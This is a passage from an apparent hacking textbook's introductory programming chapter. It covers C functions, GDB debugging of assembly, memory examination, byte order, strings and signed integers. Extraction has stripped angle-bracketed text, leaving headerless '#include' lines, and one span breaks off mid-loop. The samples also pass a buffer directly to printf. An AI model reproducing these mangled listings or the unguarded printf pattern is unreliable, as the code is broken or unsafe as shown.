At the end of this short program, the variable b will contain 120, since the factorial function will be called with the argument of 5 and will return 120. Also in C, the compiler must “know” about functions before it can use them. This can be done by simply writing the entire function before using it later in the program or by using function prototypes. A function prototype is simply a way to tell the compiler to expect a function with this name, this return data type, and these data types as its functional arguments. The actual function can be located near the end of the program, but it can be used anywhere else, since the compiler already knows about it. An example of a function prototype for the factorial() function would look something like this: int factorial(int);

Usually, function prototypes are located near the beginning of a program. There’s no need to actually define any variable names in the prototype, since this is done in the actual function. The only thing the compiler cares about is the function’s name, its return data type, and the data types of its functional arguments. If a function doesn’t have any value to return, it should be declared as void, as is the case with the turn() function I used as an example earlier. However, the turn() function doesn’t yet capture all the functionality that our driving directions need. Every turn in the directions has both a direction and a street name. This means that a turning function should have two variables: the direction to turn and the street to turn on to. This complicates the function of turning, since the proper street must be located before the turn can be made. A more complete turning function using proper C-like syntax is listed below in pseudo-code.

P rog ra m min g

17

void turn(variable_direction, target_street_name) { Look for a street sign; current_intersection_name = read street sign name; while(current_intersection_name != target_street_name) { Look for another street sign; current_intersection_name = read street sign name; } Activate the variable_direction blinker; Slow down; Check for oncoming traffic; while(there is oncoming traffic) { Stop; Watch for oncoming traffic; } Turn the steering wheel to the variable_direction; while(turn is not complete) { if(speed < 5 mph) Accelerate; } Turn the steering wheel right back to the original position; Turn off the variable_direction blinker; }

This function includes a section that searches for the proper intersection by looking for street signs, reading the name on each street sign, and storing that name in a variable called current_intersection_name. It will continue to look for and read street signs until the target street is found; at that point, the remaining turning instructions will be executed. The pseudo-code driving instructions can now be changed to use this turning function.
Begin going East on Main Street; while (there is not a church on the right) Drive down Main Street; if (street is blocked) { Turn(right, 15th Street); Turn(left, Pine Street); Turn(right, 16th Street); } else Turn(right, 16th Street); Turn(left, Destination Road); for (i=0; i ~/.gdbinit $ cat ~/.gdbinit $

Now that GDB is configured to use Intel syntax, let’s begin understanding it. The assembly instructions in Intel syntax generally follow this style: operation ,

The destination and source values will either be a register, a memory address, or a value. The operations are usually intuitive mnemonics: The mov operation will move a value from the source to the destination, sub will subtract, inc will increment, and so forth. For example, the instructions below will move the value from ESP to EBP and then subtract 8 from ESP (storing the result in ESP).
8048375: 8048377: 89 e5 83 ec 08 mov sub ebp,esp esp,0x8

P rog ra m min g

25

There are also operations that are used to control the flow of execution. The cmp operation is used to compare values, and basically any operation beginning with j is used to jump to a different part of the code (depending on the result of the comparison). The example below first compares a 4-byte value located at EBP minus 4 with the number 9. The next instruction is shorthand for jump if less than or equal to, referring to the result of the previous comparison. If that value is less than or equal to 9, execution jumps to the instruction at 0x8048393. Otherwise, execution flows to the next instruction with an unconditional jump. If the value isn’t less than or equal to 9, execution will jump to 0x80483a6.
804838b: 804838f: 8048391: 83 7d fc 09 7e 02 eb 13 cmp jle jmp DWORD PTR [ebp-4],0x9 8048393 80483a6

These examples have been from our previous disassembly, and we have our debugger configured to use Intel syntax, so let’s use the debugger to step through the first program at the assembly instruction level. The -g flag can be used by the GCC compiler to include extra debugging information, which will give GDB access to the source code. reader@hacking:~/booksrc $ gcc -g firstprog.c reader@hacking:~/booksrc $ ls -l a.out -rwxr-xr-x 1 matrix users 11977 Jul 4 17:29 a.out reader@hacking:~/booksrc $ gdb -q ./a.out Using host libthread_db library "/lib/libthread_db.so.1". (gdb) list 1 #include 2 3 int main() 4 { 5 int i; 6 for(i=0; i < 10; i++) 7 { 8 printf("Hello, world!\n"); 9 } 10 } (gdb) disassemble main Dump of assembler code for function main(): 0x08048384 : push ebp 0x08048385 : mov ebp,esp 0x08048387 : sub esp,0x8 0x0804838a : and esp,0xfffffff0 0x0804838d : mov eax,0x0 0x08048392 : sub esp,eax 0x08048394 : mov DWORD PTR [ebp-4],0x0 0x0804839b : cmp DWORD PTR [ebp-4],0x9 0x0804839f : jle 0x80483a3 0x080483a1 : jmp 0x80483b6

26

0x200

0x080483a3 : mov DWORD PTR [esp],0x80484d4 0x080483aa : call 0x80482a8 0x080483af : lea eax,[ebp-4] 0x080483b2 : inc DWORD PTR [eax] 0x080483b4 : jmp 0x804839b 0x080483b6 : leave 0x080483b7 : ret End of assembler dump. (gdb) break main Breakpoint 1 at 0x8048394: file firstprog.c, line 6. (gdb) run Starting program: /hacking/a.out Breakpoint 1, main() at firstprog.c:6 6 for(i=0; i < 10; i++) (gdb) info register eip eip 0x8048394 0x8048394 (gdb)

First, the source code is listed and the disassembly of the main() function is displayed. Then a breakpoint is set at the start of main(), and the program is run. This breakpoint simply tells the debugger to pause the execution of the program when it gets to that point. Since the breakpoint has been set at the start of the main() function, the program hits the breakpoint and pauses before actually executing any instructions in main(). Then the value of EIP (the Instruction Pointer) is displayed. Notice that EIP contains a memory address that points to an instruction in the main() function’s disassembly (shown in bold). The instructions before this (shown in italics) are collectively known as the function prologue and are generated by the compiler to set up memory for the rest of the main() function’s local variables. Part of the reason variables need to be declared in C is to aid the construction of this section of code. The debugger knows this part of the code is automatically generated and is smart enough to skip over it. We’ll talk more about the function prologue later, but for now we can take a cue from GDB and skip it. The GDB debugger provides a direct method to examine memory, using the command x, which is short for examine. Examining memory is a critical skill for any hacker. Most hacker exploits are a lot like magic tricks—they seem amazing and magical, unless you know about sleight of hand and misdirection. In both magic and hacking, if you were to look in just the right spot, the trick would be obvious. That’s one of the reasons a good magician never does the same trick twice. But with a debugger like GDB, every aspect of a program’s execution can be deterministically examined, paused, stepped through, and repeated as often as needed. Since a running program is mostly just a processor and segments of memory, examining memory is the first way to look at what’s really going on. The examine command in GDB can be used to look at a certain address of memory in a variety of ways. This command expects two arguments when it’s used: the location in memory to examine and how to display that memory.

P rog ra m min g

27

The display format also uses a single-letter shorthand, which is optionally preceded by a count of how many items to examine. Some common format letters are as follows: o x u t

Display in octal. Display in hexadecimal. Display in unsigned, standard base-10 decimal. Display in binary.

These can be used with the examine command to examine a certain memory address. In the following example, the current address of the EIP register is used. Shorthand commands are often used with GDB, and even info register eip can be shortened to just i r eip.
(gdb) i r eip (gdb) x/o 0x8048384 (gdb) x/x 0x8048384 (gdb) x/u 0x8048384 (gdb) x/t 0x8048384 (gdb) eip 0x8048384 0x8048384 0x8048384 : 077042707 $eip : 0x00fc45c7 $eip : 16532935 $eip : 00000000111111000100010111000111

The memory the EIP register is pointing to can be examined by using the address stored in EIP. The debugger lets you reference registers directly, so $eip is equivalent to the value EIP contains at that moment. The value 077042707 in octal is the same as 0x00fc45c7 in hexadecimal, which is the same as 16532935 in base-10 decimal, which in turn is the same as 00000000111111000100010111000111 in binary. A number can also be prepended to the format of the examine command to examine multiple units at the target address.
(gdb) x/2x $eip 0x8048384 : (gdb) x/12x $eip 0x8048384 : 0x8048394 : 0x80483a4 : (gdb) 0x00fc45c7 0x00fc45c7 0x84842404 0xc3c9e5eb 0x83000000 0x83000000 0x01e80804 0x90909090 0x7e09fc7d 0x8dffffff 0x90909090 0xc713eb02 0x00fffc45 0x5de58955

The default size of a single unit is a four-byte unit called a word. The size of the display units for the examine command can be changed by adding a size letter to the end of the format letter. The valid size letters are as follows: b h w g

A single byte A halfword, which is two bytes in size A word, which is four bytes in size A giant, which is eight bytes in size

28

0x200

This is slightly confusing, because sometimes the term word also refers to 2-byte values. In this case a double word or DWORD refers to a 4-byte value. In this book, words and DWORDs both refer to 4-byte values. If I’m talking about a 2-byte value, I’ll call it a short or a halfword. The following GDB output shows memory displayed in various sizes.
(gdb) x/8xb $eip 0x8048384 : (gdb) x/8xh $eip 0x8048384 : (gdb) x/8xw $eip 0x8048384 : 0x8048394 : (gdb)

0xc7 0x45c7

0x45 0x00fc

0xfc 0x0000

0x00 0x8300

0x00 0xfc7d

0x00 0x7e09

0x00 0xeb02

0x83 0xc713

0x00fc45c7 0x84842404

0x83000000 0x01e80804

0x7e09fc7d 0x8dffffff

0xc713eb02 0x00fffc45

If you look closely, you may notice something odd about the data above. The first e xamine command shows the first eight bytes, and naturally, the examine commands that use bigger units display more data in total. However, the first examine shows the first two bytes to be 0xc7 and 0x45, but when a halfword is examined at the exact same memory address, the value 0x45c7 is shown, with the bytes reversed. This same byte-reversal effect can be seen when a full four-byte word is shown as 0x00fc45c7, but when the first four bytes are shown byte by byte, they are in the order of 0xc7, 0x45, 0xfc, and 0x00. This is because on the x86 processor values are stored in little-endian byte order, which means the least significant byte is stored first. For example, if four bytes are to be interpreted as a single value, the bytes must be used in reverse order. The GDB debugger is smart enough to know how values are stored, so when a word or halfword is examined, the bytes must be reversed to display the correct values in hexadecimal. Revisiting these values displayed both as hexadecimal and unsigned decimals might help clear up any confusion.
(gdb) x/4xb $eip 0x8048384 : 0xc7 0x45 0xfc 0x00 (gdb) x/4ub $eip 0x8048384 : 199 69 252 0 (gdb) x/1xw $eip 0x8048384 : 0x00fc45c7 (gdb) x/1uw $eip 0x8048384 : 16532935 (gdb) quit The program is running. Exit anyway? (y or n) y reader@hacking:~/booksrc $ bc -ql 199*(256^3) + 69*(256^2) + 252*(256^1) + 0*(256^0) 3343252480 0*(256^3) + 252*(256^2) + 69*(256^1) + 199*(256^0) 16532935 quit reader@hacking:~/booksrc $

P rog ra m min g

29

The first four bytes are shown both in hexadecimal and standard unsigned decimal notation. A command-line calculator program called bc is used to show that if the bytes are interpreted in the incorrect order, a horribly incorrect value of 3343252480 is the result. The byte order of a given architecture is an important detail to be aware of. While most debugging tools and compilers will take care of the details of byte order automatically, eventually you will directly manipulate memory by yourself. In addition to converting byte order, GDB can do other conversions with the examine command. We’ve already seen that GDB can disassemble machine language instructions into human-readable assembly instructions. The examine command also accepts the format letter i, short for instruction, to display the memory as disassembled assembly language instructions. reader@hacking:~/booksrc $ gdb -q ./a.out Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1". (gdb) break main Breakpoint 1 at 0x8048384: file firstprog.c, line 6. (gdb) run Starting program: /home/reader/booksrc/a.out Breakpoint 1, main () at firstprog.c:6 6 for(i=0; i < 10; i++) (gdb) i r $eip eip 0x8048384 0x8048384 (gdb) x/i $eip 0x8048384 : mov DWORD PTR [ebp-4],0x0 (gdb) x/3i $eip 0x8048384 : mov DWORD PTR [ebp-4],0x0 0x804838b : cmp DWORD PTR [ebp-4],0x9 0x804838f : jle 0x8048393 (gdb) x/7xb $eip 0x8048384 : 0xc7 0x45 0xfc 0x00 (gdb) x/i $eip 0x8048384 : mov DWORD PTR [ebp-4],0x0 (gdb)

0x00

0x00

0x00

In the output above, the a.out program is run in GDB, with a breakpoint set at main(). Since the EIP register is pointing to memory that actually contains machine language instructions, they disassemble quite nicely. The previous objdump disassembly confirms that the seven bytes EIP is pointing to actually are machine language for the corresponding assembly instruction.
8048384: c7 45 fc 00 00 00 00 mov DWORD PTR [ebp-4],0x0

This assembly instruction will move the value of 0 into memory located at the address stored in the EBP register, minus 4. This is where the C variable i is stored in memory; i was declared as an integer that uses 4 bytes of memory on the x86 processor. Basically, this command will zero out the

30

0x200

variable i for the for loop. If that memory is examined right now, it will contain nothing but random garbage. The memory at this location can be examined several different ways.
(gdb) i r ebp ebp 0xbffff808 (gdb) x/4xb $ebp - 4 0xbffff804: 0xc0 0x83 (gdb) x/4xb 0xbffff804 0xbffff804: 0xc0 0x83 (gdb) print $ebp - 4 $1 = (void *) 0xbffff804 (gdb) x/4xb $1 0xbffff804: 0xc0 0x83 (gdb) x/xw $1 0xbffff804: 0x080483c0 (gdb)

0xbffff808 0x04 0x04 0x08 0x08

0x04

0x08

The EBP register is shown to contain the address 0xbffff808, and the assembly instruction will be writing to a value offset by 4 less than that, 0xbffff804 . The examine command can examine this memory address directly or by doing the math on the fly. The print command can also be used to do simple math, but the result is stored in a temporary variable in the debugger. This variable named $1 can be used later to quickly re-access a particular location in memory. Any of the methods shown above will accomplish the same task: displaying the 4 garbage bytes found in memory that will be zeroed out when the current instruction executes. Let’s execute the current instruction using the command nexti, which is short for next instruction. The processor will read the instruction at EIP, execute it, and advance EIP to the next instruction.
(gdb) nexti 0x0804838b 6 for(i=0; i < 10; i++) (gdb) x/4xb $1 0xbffff804: 0x00 0x00 0x00 0x00 (gdb) x/dw $1 0xbffff804: 0 (gdb) i r eip eip 0x804838b 0x804838b (gdb) x/i $eip 0x804838b : cmp DWORD PTR [ebp-4],0x9 (gdb)

As predicted, the previous command zeroes out the 4 bytes found at EBP minus 4, which is memory set aside for the C variable i. Then EIP advances to the next instruction. The next few instructions actually make more sense to talk about in a group.

P rog ra m min g

31

(gdb) x/10i $eip 0x804838b : 0x804838f : 0x8048391 : 0x8048393 : 0x804839a : 0x804839f : 0x80483a2 : 0x80483a4 : 0x80483a6 : 0x80483a7 : (gdb)

cmp jle jmp mov call lea inc jmp leave ret

DWORD PTR [ebp-4],0x9 0x8048393 0x80483a6 DWORD PTR [esp],0x8048484 0x80482a0 eax,[ebp-4] DWORD PTR [eax] 0x804838b

The first instruction, cmp, is a compare instruction, which will compare the memory used by the C variable i with the value 9. The next instruction, jle stands for jump if less than or equal to. It uses the results of the previous comparison (which are actually stored in the EFLAGS register) to jump EIP to point to a different part of the code if the destination of the previous comparison operation is less than or equal to the source. In this case the instruction says to jump to the address 0x8048393 if the value stored in memory for the C variable i is less than or equal to the value 9. If this isn’t the case, the EIP will continue to the next instruction, which is an unconditional jump instruction. This will cause the EIP to jump to the address 0x80483a6. These three instructions combine to create an if-then-else control structure: If the i is less than or equal to 9, then go to the instruction at address 0x8048393 ; otherwise, go to the instruction at address 0x80483a6. The first address of 0x8048393 (shown in bold) is simply the instruction found after the fixed jump instruction, and the second address of 0x80483a6 (shown in italics) is located at the end of the function. Since we know the value 0 is stored in the memory location being compared with the value 9, and we know that 0 is less than or equal to 9, EIP should be at 0x8048393 after executing the next two instructions.
(gdb) nexti 0x0804838f 6 for(i=0; i < 10; i++) (gdb) x/i $eip 0x804838f : jle 0x8048393 (gdb) nexti 8 printf("Hello, world!\n"); (gdb) i r eip eip 0x8048393 0x8048393 (gdb) x/2i $eip 0x8048393 : mov DWORD PTR [esp],0x8048484 0x804839a : call 0x80482a0 (gdb)

As expected, the previous two instructions let the program execution flow down to 0x8048393, which brings us to the next two instructions. The

32

0x200

first instruction is another mov instruction that will write the address 0x8048484 into the memory address contained in the ESP register. But what is ESP pointing to?
(gdb) i r esp esp (gdb)

0xbffff800

0xbffff800

Currently, ESP points to the memory address 0xbffff800, so when the mov instruction is executed, the address 0x8048484 is written there. But why? What’s so special about the memory address 0x8048484? There’s one way to find out.
(gdb) x/2xw 0x8048484 0x8048484: 0x6c6c6548 (gdb) x/6xb 0x8048484 0x8048484: 0x48 0x65 (gdb) x/6ub 0x8048484 0x8048484: 72 101 (gdb)

0x6f57206f 0x6c 108 0x6c 108 0x6f 111 0x20 32

A trained eye might notice something about the memory here, in particular the range of the bytes. After examining memory for long enough, these types of visual patterns become more apparent. These bytes fall within the printable ASCII range. ASCII is an agreed-upon standard that maps all the characters on your keyboard (and some that aren’t) to fixed numbers. The bytes 0x48, 0x65, 0x6c, and 0x6f all correspond to letters in the alphabet on the ASCII table shown below. This table is found in the man page for ASCII, available on most Unix systems by typing man ascii. ASCII Table
Oct Dec Hex Char Oct Dec Hex Char -----------------------------------------------------------000 0 00 NUL '\0' 100 64 40 @ 001 1 01 SOH 101 65 41 A 002 2 02 STX 102 66 42 B 003 3 03 ETX 103 67 43 C 004 4 04 EOT 104 68 44 D 005 5 05 ENQ 105 69 45 E 006 6 06 ACK 106 70 46 F 007 7 07 BEL '\a' 107 71 47 G 010 8 08 BS '\b' 110 72 48 H 011 9 09 HT '\t' 111 73 49 I 012 10 0A LF '\n' 112 74 4A J 013 11 0B VT '\v' 113 75 4B K 014 12 0C FF '\f' 114 76 4C L 015 13 0D CR '\r' 115 77 4D M 016 14 0E SO 116 78 4E N 017 15 0F SI 117 79 4F O 020 16 10 DLE 120 80 50 P 021 17 11 DC1 121 81 51 Q

P rog ra m min g

33

022 023 024 025 026 027 030 031 032 033 034 035 036 037 040 041 042 043 044 045 046 047 050 051 052 053 054 055 056 057 060 061 062 063 064 065 066 067 070 071 072 073 074 075 076 077

18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63

12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F 20 21 22 23 24 25 26 27 28 29 2A 2B 2C 2D 2E 2F 30 31 32 33 34 35 36 37 38 39 3A 3B 3C 3D 3E 3F

DC2 DC3 DC4 NAK SYN ETB CAN EM SUB ESC FS GS RS US SPACE ! " # $ % & ' ( ) * + , . / 0 1 2 3 4 5 6 7 8 9 : ; < = > ?

122 123 124 125 126 127 130 131 132 133 134 135 136 137 140 141 142 143 144 145 146 147 150 151 152 153 154 155 156 157 160 161 162 163 164 165 166 167 170 171 172 173 174 175 176 177

82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127

52 53 54 55 56 57 58 59 5A 5B 5C 5D 5E 5F 60 61 62 63 64 65 66 67 68 69 6A 6B 6C 6D 6E 6F 70 71 72 73 74 75 76 77 78 79 7A 7B 7C 7D 7E 7F

R S T U V W X Y Z [ \ '\\' ] ^ _ ` a b c d e f g h i j k l m n o p q r s t u v w x y z { | } ~ DEL

Thankfully, GDB’s examine command also contains provisions for looking at this type of memory. The c format letter can be used to automatically look up a byte on the ASCII table, and the s format letter will display an entire string of character data.

34

0x200

(gdb) x/6cb 0x8048484 0x8048484: 72 'H' 101 'e' 108 'l' 108 'l' 111 'o' 32 ' ' (gdb) x/s 0x8048484 0x8048484: "Hello, world!\n" (gdb)

These commands reveal that the data string "Hello, world!\n" is stored at memory address 0x8048484. This string is the argument for the printf() function, which indicates that moving the address of this string to the address stored in ESP (0x8048484) has something to do with this function. The following output shows the data string’s address being moved into the address ESP is pointing to.
(gdb) x/2i $eip 0x8048393 : mov DWORD PTR [esp],0x8048484 0x804839a : call 0x80482a0 (gdb) x/xw $esp 0xbffff800: 0xb8000ce0 (gdb) nexti 0x0804839a 8 printf("Hello, world!\n"); (gdb) x/xw $esp 0xbffff800: 0x08048484 (gdb)

The next instruction is actually called the printf() function; it prints the data string. The previous instruction was setting up for the function call, and the results of the function call can be seen in the output below in bold.
(gdb) x/i $eip 0x804839a : call 0x80482a0 (gdb) nexti Hello, world! 6 for(i=0; i < 10; i++) (gdb)

Continuing to use GDB to debug, let’s examine the next two instructions. Once again, they make more sense to look at in a group.
(gdb) x/2i $eip 0x804839f : 0x80483a2 : (gdb)

lea inc

eax,[ebp-4] DWORD PTR [eax]

These two instructions basically just increment the variable i by 1. The lea instruction is an acronym for Load Effective Address, which will load the

P rog ra m min g

35

familiar address of EBP minus 4 into the EAX register. The execution of this instruction is shown below.
(gdb) x/i $eip 0x804839f : lea eax,[ebp-4] (gdb) print $ebp - 4 $2 = (void *) 0xbffff804 (gdb) x/x $2 0xbffff804: 0x00000000 (gdb) i r eax eax 0xd 13 (gdb) nexti 0x080483a2 6 for(i=0; i < 10; i++) (gdb) i r eax eax 0xbffff804 -1073743868 (gdb) x/xw $eax 0xbffff804: 0x00000000 (gdb) x/dw $eax 0xbffff804: 0 (gdb)

The following inc instruction will increment the value found at this address (now stored in the EAX register) by 1. The execution of this instruction is also shown below.
(gdb) x/i $eip 0x80483a2 : (gdb) x/dw $eax 0xbffff804: 0 (gdb) nexti 0x080483a4 6 (gdb) x/dw $eax 0xbffff804: 1 (gdb)

inc

DWORD PTR [eax]

for(i=0; i < 10; i++)

The end result is the value stored at the memory address EBP minus 4 (0xbffff804), incremented by 1. This behavior corresponds to a portion of C code in which the variable i is incremented in the for loop. The next instruction is an unconditional jump instruction.
(gdb) x/i $eip 0x80483a4 : (gdb)

jmp

0x804838b

When this instruction is executed, it will send the program back to the instruction at address 0x804838b. It does this by simply setting EIP to that value. Looking at the full disassembly again, you should be able to tell which parts of the C code have been compiled into which machine instructions.

36

0x200

(gdb) disass main Dump of assembler code for function main: 0x08048374 : push ebp 0x08048375 : mov ebp,esp 0x08048377 : sub esp,0x8 0x0804837a : and esp,0xfffffff0 0x0804837d : mov eax,0x0 0x08048382 : sub esp,eax 0x08048384 : mov DWORD PTR [ebp-4],0x0 0x0804838b : cmp DWORD PTR [ebp-4],0x9 0x0804838f : jle 0x8048393 0x08048391 : jmp 0x80483a6 0x08048393 : mov DWORD PTR [esp],0x8048484 0x0804839a : call 0x80482a0 0x0804839f : lea eax,[ebp-4] 0x080483a2 : inc DWORD PTR [eax] 0x080483a4 : jmp 0x804838b 0x080483a6 : leave 0x080483a7 : ret End of assembler dump. (gdb) list 1 #include 2 3 int main() 4 { 5 int i; 6 for(i=0; i < 10; i++) 7 { 8 printf("Hello, world!\n"); 9 } 10 } (gdb)

The instructions shown in bold make up the for loop, and the instructions in italics are the printf() call found within the loop. The program execution will jump back to the compare instruction, continue to execute the printf() call, and increment the counter variable until it finally equals 10. At this point the conditional jle instruction won’t execute; instead, the instruction pointer will continue to the unconditional jump instruction, which exits the loop and ends the program.

0x260

Back to Basics
Now that the idea of programming is less abstract, there are a few other important concepts to know about C. Assembly language and computer processors existed before higher-level programming languages, and many modern programming concepts have evolved through time. In the same way that knowing a little about Latin can greatly improve one’s understanding of

P rog ra m min g

37

the English language, knowledge of low-level programming concepts can assist the comprehension of higher-level ones. When continuing to the next section, remember that C code must be compiled into machine instructions before it can do anything.

0x261

Strings

The value "Hello, world!\n" passed to the printf() function in the previous program is a string—technically, a character array. In C, an array is simply a list of n elements of a specific data type. A 20-character array is simply 20 adjacent characters located in memory. Arrays are also referred to as buffers. The char_array.c program is an example of a character array. char_array.c
#include int main() { char str_a[20]; str_a[0] = 'H'; str_a[1] = 'e'; str_a[2] = 'l'; str_a[3] = 'l'; str_a[4] = 'o'; str_a[5] = ','; str_a[6] = ' '; str_a[7] = 'w'; str_a[8] = 'o'; str_a[9] = 'r'; str_a[10] = 'l'; str_a[11] = 'd'; str_a[12] = '!'; str_a[13] = '\n'; str_a[14] = 0; printf(str_a); }

The GCC compiler can also be given the -o switch to define the output file to compile to. This switch is used below to compile the program into an executable binary called char_array. reader@hacking:~/booksrc $ gcc -o char_array char_array.c reader@hacking:~/booksrc $ ./char_array Hello, world! reader@hacking:~/booksrc $

In the preceding program, a 20-element character array is defined as str_a, and each element of the array is written to, one by one. Notice that the

number begins at 0, as opposed to 1. Also notice that the last character is a 0. (This is also called a null byte.) The character array was defined, so 20 bytes are allocated for it, but only 12 of these bytes are actually used. The null byte
38
0x200

at the end is used as a delimiter character to tell any function that is dealing with the string to stop operations right there. The remaining extra bytes are just garbage and will be ignored. If a null byte is inserted in the fifth element of the character array, only the characters Hello would be printed by the printf() function. Since setting each character in a character array is painstaking and strings are used fairly often, a set of standard functions was created for string manipulation. For example, the strcpy() function will copy a string from a source to a destination, iterating through the source string and copying each byte to the destination (and stopping after it copies the null termination byte). The order of the function’s arguments is similar to Intel assembly syntax: destination first and then source. The char_array.c program can be rewritten using strcpy() to accomplish the same thing using the string library. The next version of the char_array program shown below includes string.h since it uses a string function. char_array2.c
#include #include int main() { char str_a[20]; strcpy(str_a, "Hello, world!\n"); printf(str_a); }

Let’s take a look at this program with GDB. In the output below, the compiled program is opened with GDB and breakpoints are set before, in, and after the strcpy() call shown in bold. The debugger will pause the program at each breakpoint, giving us a chance to examine registers and memory. The strcpy() function’s code comes from a shared library, so the breakpoint in this function can’t actually be set until the program is executed. reader@hacking:~/booksrc $ gcc -g -o char_array2 char_array2.c reader@hacking:~/booksrc $ gdb -q ./char_array2 Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1". (gdb) list 1 #include 2 #include 3 4 int main() { 5 char str_a[20]; 6 7 strcpy(str_a, "Hello, world!\n"); 8 printf(str_a); 9 } (gdb) break 6 Breakpoint 1 at 0x80483c4: file char_array2.c, line 6. (gdb) break strcpy
P rog ra m min g

39

Function "strcpy" not defined. Make breakpoint pending on future shared library load? (y or [n]) y Breakpoint 2 (strcpy) pending. (gdb) break 8 Breakpoint 3 at 0x80483d7: file char_array2.c, line 8. (gdb)

When the program is run, the strcpy() breakpoint is resolved. At each breakpoint, we’re going to look at EIP and the instructions it points to. Notice that the memory location for EIP at the middle breakpoint is different.
(gdb) run Starting program: /home/reader/booksrc/char_array2 Breakpoint 4 at 0xb7f076f4 Pending breakpoint "strcpy" resolved Breakpoint 1, main () at char_array2.c:7 7 strcpy(str_a, "Hello, world!\n"); (gdb) i r eip eip 0x80483c4 0x80483c4 (gdb) x/5i $eip 0x80483c4 : mov DWORD PTR [esp+4],0x80484c4 0x80483cc : lea eax,[ebp-40] 0x80483cf : mov DWORD PTR [esp],eax 0x80483d2 : call 0x80482c4 0x80483d7 : lea eax,[ebp-40] (gdb) continue Continuing. Breakpoint 4, 0xb7f076f4 in strcpy () from /lib/tls/i686/cmov/libc.so.6 (gdb) i r eip eip 0xb7f076f4 0xb7f076f4 (gdb) x/5i $eip 0xb7f076f4 : mov esi,DWORD PTR [ebp+8] 0xb7f076f7 : mov eax,DWORD PTR [ebp+12] 0xb7f076fa : mov ecx,esi 0xb7f076fc : sub ecx,eax 0xb7f076fe : mov edx,eax (gdb) continue Continuing. Breakpoint 3, main () at char_array2.c:8 8 printf(str_a); (gdb) i r eip eip 0x80483d7 0x80483d7 (gdb) x/5i $eip 0x80483d7 : lea eax,[ebp-40] 0x80483da : mov DWORD PTR [esp],eax 0x80483dd : call 0x80482d4 0x80483e2 : leave 0x80483e3 : ret (gdb)

40

0x200

The address in EIP at the middle breakpoint is different because the code for the strcpy() function comes from a loaded library. In fact, the debugger shows EIP for the middle breakpoint in the strcpy() function, while EIP at the other two breakpoints is in the main() function. I’d like to point out that EIP is able to travel from the main code to the strcpy() code and back again. Each time a function is called, a record is kept on a data structure simply called the stack. The stack lets EIP return through long chains of function calls. In GDB, the bt command can be used to backtrace the stack. In the output below, the stack backtrace is shown at each breakpoint.
(gdb) run The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/reader/booksrc/char_array2 Error in re-setting breakpoint 4: Function "strcpy" not defined. Breakpoint 1, main () at char_array2.c:7 7 strcpy(str_a, "Hello, world!\n"); (gdb) bt #0 main () at char_array2.c:7 (gdb) cont Continuing. Breakpoint 4, 0xb7f076f4 in strcpy () from /lib/tls/i686/cmov/libc.so.6 (gdb) bt #0 0xb7f076f4 in strcpy () from /lib/tls/i686/cmov/libc.so.6 #1 0x080483d7 in main () at char_array2.c:7 (gdb) cont Continuing. Breakpoint 3, main () at char_array2.c:8 8 printf(str_a); (gdb) bt #0 main () at char_array2.c:8 (gdb)

At the middle breakpoint, the backtrace of the stack shows its record of the strcpy() call. Also, you may notice that the strcpy() function is at a slightly different address during the second run. This is due to an exploit protection method that is turned on by default in the Linux kernel since 2.6.11. We will talk about this protection in more detail later.

0x262

Signed, Unsigned, Long, and Short

By default, numerical values in C are signed, which means they can be both negative and positive. In contrast, unsigned values don’t allow negative numbers. Since it’s all just memory in the end, all numerical values must be stored in binary, and unsigned values make the most sense in binary. A 32-bit unsigned integer can contain values from 0 (all binary 0s) to 4,294,967,295 (all binary 1s). A 32-bit signed integer is still just 32 bits, which means it can
P rog ra m min g

41

only be in one of 232 possible bit combinations. This allows 32-bit signed integers to range from −2,147,483,648 to 2,147,483,647. Essentially, one of the bits is a flag marking the value positive or negative. Positively signed values look the same as unsigned values, but negative numbers are stored differently using a method called two’s complement. Two’s complement represents negative numbers in a form suited for binary adders—when a negative value in two’s complement is added to a positive number of the same magnitude, the result will be 0. This is done by first writing the positive number in binary, then inverting all the bits, and finally adding 1. It sounds strange, but it works and allows negative numbers to be added in combination with positive numbers using simple binary adders. This can be explored quickly on a smaller scale using pcalc, a simple programmer’s calculator that displays results in decimal, hexadecimal, and binary formats. For simplicity’s sake, 8-bit numbers are used in this example. reader@hacking:~/booksrc $ pcalc 0y01001001 73 0x49 0y1001001 reader@hacking:~/booksrc $ pcalc 0y10110110 + 1 183 0xb7 0y10110111 reader@hacking:~/booksrc $ pcalc 0y01001001 + 0y10110111 256 0x100 0y100000000 reader@hacking:~/booksrc $

First, the binary value 01001001 is shown to be positive 73. Then all the bits are flipped, and 1 is added to result in the two’s complement representation for negative 73, 10110111. When these two values are added together, the result of the original 8 bits is 0. The program pcalc shows the value 256 because it’s not aware that we’re only dealing with 8-bit values. In a binary adder, that carry bit would just be thrown away because the end of the variable’s memory would have been reached. This example might shed some light on how two’s complement works its magic. In C, variables can be declared as unsigned by simply prepending the keyword unsigned to the declaration. An unsigned integer would be declared with unsigned int. In addition, the size of numerical variables can be extended or shortened by adding the keywords long or short. The actual sizes will vary depending on the architecture the code is compiled for. The language of C provides a macro called sizeof() that can determine the size of certain data types. This works like a function that takes a data type as its input and returns the size of a variable declared with that data type for the target architecture. The datatype_sizes.c program explores the sizes of various data types, using the sizeof() function. datatype_sizes.c
#include int main() { printf("The 'int' data type is\t\t %d bytes\n", sizeof(int));

42

0x200

printf("The printf("The printf("The printf("The printf("The printf("The }

'unsigned int' data type is\t %d bytes\n", sizeof(unsigned int)); 'short int' data type is\t %d bytes\n", sizeof(short int)); 'long int' data type is\t %d bytes\n", sizeof(long int)); 'long long int' data type is %d bytes\n", sizeof(long long int)); 'float' data type is\t %d bytes\n", sizeof(float)); 'char' data type is\t\t %d bytes\n", sizeof(char));

